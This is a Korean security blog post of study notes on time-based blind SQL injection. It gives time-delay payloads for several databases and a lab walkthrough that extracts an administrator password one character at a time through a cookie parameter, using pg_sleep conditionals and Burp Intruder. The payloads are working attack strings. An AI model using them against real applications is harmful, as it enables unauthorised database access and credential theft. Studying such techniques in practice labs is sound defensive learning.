본문 바로가기

보안/WEB

[WEB 보안] Blind SQL Injection 취약점_2

반응형

※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.

 

1. 목적 : 시간 지연을 트리거하여 Blind SQL Injection 활용

2. 설명 : 삽입된 SQL 구문이 실행될 때 데이터베이스 오류를 트리거해도 더이상 응용프로그램의 응답에 차이가 발생하지 않으므로 조건부 오류를 유발하는 선행 기술이 작동하지 않을 때 시간 지연을 트리거하여 블라인드 SQL Injection 취약점을 악용 할 수 있다.

1) Microsoft SQL Server에서 다음과 같은 입력을 사용하여 조건을 테스트하고 표현식이 True 인지에 따라 지연을 트리거 할 수 있다.

'; IF(1=2) WAITFOR DELAY '0:0:10'--

'; IF(1=1) WAITFOR DELAY '0:0:10'--

→ 조건 1=2가 거짓 이므로 지연을 트리거하지 X, 조건 1=1은 참이므로 10초의 지연을 트리거 한다.

Ex) '; IF(SELECT COUNT(username)FROM Users WHERE username='Administrator' AND SUBSTRING(password,1,1)>'m')=1WAITFOR DELAY '0:0:{delay}'--

2) Lab : Blind SQL Injection with time delays

(1) 요청을 제출하고 애플리케이션이 응답하는데 10초가 소용되는지 확인

TrackingId='||pg_sleep(10)--; //10초 지연 (Postgre SQL)

3) Time delays

Oracle

dbms_pipe.receive_message(('a'),10)

Microsoft

WAITFOR DELAY '0:0:10'

Postgre SQL

SELECT pg_sleep(10)

MySQL

SELECT sleep(10)

4) Lab : Blind SQL Injection with time delays and information retrieval

: 데이터베이스에는 username 과 password 라는 열이 있는 users라는 다른 테이블이 있다. 관리자의 암호를 찾으려면 Blind SQL Injection 취약점을 이용

(1) 부울 조건을 테스트하고 결과 유추

TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- //애플리케이션이 응답하는데 10초가 걸리는지 확인, 참이면 10초에 응답, 거짓이면 바로 응답

TrackingId=x'%3BSELECT+CASE+WHEN(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- //애플리케이션이 시간 지연 없이 즉시 응답하는지 확인

(2) administrator 라는 사용자가 있는지 확인

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--; //조건이 True 인지 확인

(3) 관리자 암호가 몇자인지 확인

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+length(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM=users-- //빨간 부분 숫자 올려가면서 확인

(4) Intruder 기능을 이용하여 관리자 패스워드 확인

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+substring(password,1,1)='$a$')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--

① 마우스 우클릭 → send to Intruder 클릭

② Intruder 탭 - Positions탭 - 패킷 모드 드래그 → clear$ 클릭

③ substring(password,1,1)='$a$' 드래그 → Add$ 클릭

④ payloads 탭 - payload options[simple list] → Add(a-z, A-Z, 0-9)

⑤ Options 탭 - Request Engine → Number of threads : 1 수정

⑥ 결과창에서 패킷 하나 클릭 시 새로운 창이 나옴, 그 창안에 Timer를 확인 가능.

반응형